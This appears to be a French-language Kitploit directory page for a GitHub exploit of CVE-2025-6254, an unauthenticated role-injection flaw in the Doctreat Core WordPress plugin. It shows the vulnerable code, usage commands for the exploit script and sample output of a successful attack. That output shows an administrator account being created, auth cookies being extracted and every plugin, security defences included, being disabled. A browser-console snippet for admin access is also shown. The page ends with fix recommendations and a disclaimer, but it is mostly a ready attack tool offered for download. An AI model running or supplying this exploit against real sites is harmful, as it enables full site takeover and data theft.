Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — Élévation de privilèges non authentifiée | Kitploit
Outils/GitHubGitHub/yucaerin/cve-2025-6254
Escalade de PrivilègesGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationSécurité WebCTFTests d'IntrusionApprentissage et ÉducationRed Teaming
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Élévation de privilèges non authentifiée

Voir le dépôt

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalade de privilèges non authentifiée via injection de rôle

🔥 Résumé de la vulnérabilité

Le plugin WordPress Doctreat Core versions <= 1.6.8 est vulnérable à une escalade de privilèges non authentifiée. Cette faille critique permet à des attaquants non authentifiés de créer un nouveau compte Administrateur directement via le point de terminaison AJAX d'inscription du plugin.

La vulnérabilité provient de la fonction doctreat_process_registration() dans hooks/hooks.php, qui accepte le paramètre user_type directement depuis les données POST soumises par l'utilisateur et le transmet comme paramètre role à wp_update_user() sans autorisation appropriée ni validation de liste blanche. Le plugin applique uniquement esc_sql() (qui ne valide pas les rôles) — il ne vérifie jamais si le rôle est sûr pour une inscription publique.

Découverte majeure : Le nonce utilisé par Doctreat (scripts_vars.ajax_nonce) est exposé sur toute page publique du thème Doctreat actif. Le paramètre user_type, qui contrôle normalement si un utilisateur s'inscrit en tant que "doctors", "hospitals" ou "regular_users", peut être remplacé via POST par user_type=administrator — et cette valeur est transmise directement comme paramètre role de WordPress.

🔍 Plugin concerné

  • Nom du plugin : Doctreat Core
  • Version affectée : <= 1.6.8
  • Type de vulnérabilité : Escalade de privilèges non authentifiée via injection de rôle
  • ID CVE : CVE-2025-6254
  • Score CVSS : 9.8 (Critique)
  • CWE : CWE-269 — Gestion inadéquate des privilèges
  • Impact : Prise de contrôle totale du site — Création d'un compte administrateur

🧨 Ce que les attaquants peuvent faire

🧪 Fonctionnalités de l'exploit

  • 🔓 Aucune authentification requise
  • 📝 Fonctionne via le point de terminaison AJAX d'inscription
  • 🎯 Cible le point de terminaison AJAX /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 Injection de rôle — soumet user_type=administrator avec les champs d'inscription normaux
  • 🌐 Extraction automatique du nonce — récupère ajax_nonce depuis les pages publiques du thème Doctreat
  • 🔐 Contourne la vérification du nonce — utilise le nonce légitime exposé par les scripts du thème
  • 🔗 Détection automatique http/https — pas besoin de spécifier le protocole
  • 🔒 Support SSL non sécurisé — fonctionne avec des certificats auto-signés/invalides
  • 🎛️ Désactivation automatique de tous les plugins — 3 méthodes : action groupée plugins.php, API REST, admin-ajax.php
  • 🍪 Extraction de cookies — affiche les cookies d'authentification WordPress pour utilisation navigateur/curl
  • 🧠 Script de console JavaScript — à coller dans les DevTools du navigateur pour un accès admin instantané

🧠 Code vulnérable

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type depuis $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ ligne 311 — Définit _is_verified après l'inscription
update_user_meta( $user_identity, '_is_verified', 'no' );

Remarque : Sur les cibles avec les paramètres de vérification par défaut ($verify_user vide ou 'remove'), l'utilisateur est automatiquement vérifié et obtient un accès admin immédiat. Les cibles avec vérification par email ou approbation admin activée nécessiteront des étapes de vérification supplémentaires.

🚀 Utilisation

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Connexion avec des identifiants existants (Obtenir les cookies)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

Exemple de sortie complète

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

Script de console JavaScript

Après avoir exécuté l'exploit, copiez le JavaScript généré et collez-le dans la console DevTools de votre navigateur (F12) :

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Prérequis

  • Python 3.6+
  • Bibliothèque requests (pip install requests)
  • La cible doit avoir :
    • Thème Doctreat actif (pour l'extraction du nonce)
    • Plugin Doctreat Core <= 1.6.8 activé
    • Inscription utilisateur activée

🛠 Recommandations de correction

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • Implémenter une liste blanche stricte des rôles pour l'inscription
  • Ajouter des vérifications de capacité current_user_can('create_users') pour les rôles privilégiés
  • Valider user_type avant de le passer à wp_update_user()
  • Envisager de supprimer complètement l'attribution de rôle de l'inscription publique

🧠 Chercheur

  • Crédit : Friderika Baranyai (Foxyyy)

📚 Références

  • Avis Wordfence

🔒 Avertissement

Ces informations sont fournies à des fins éducatives et de tests d'intrusion autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester une cible qui ne vous appartient pas.

Télécharger l’outil
CapacitéImpact
🔑 Créer un compte admin sans connexionPrise de contrôle totale du site
🎛️ Désactiver automatiquement tous les plugins de sécuritéContournement des défenses
💉 Modifier les fichiers PHP des plugins/thèmesExécution de code à distance
🕳️ Installer des portes dérobées cachéesAccès persistant
👥 Voir toutes les données utilisateurViolation de la vie privée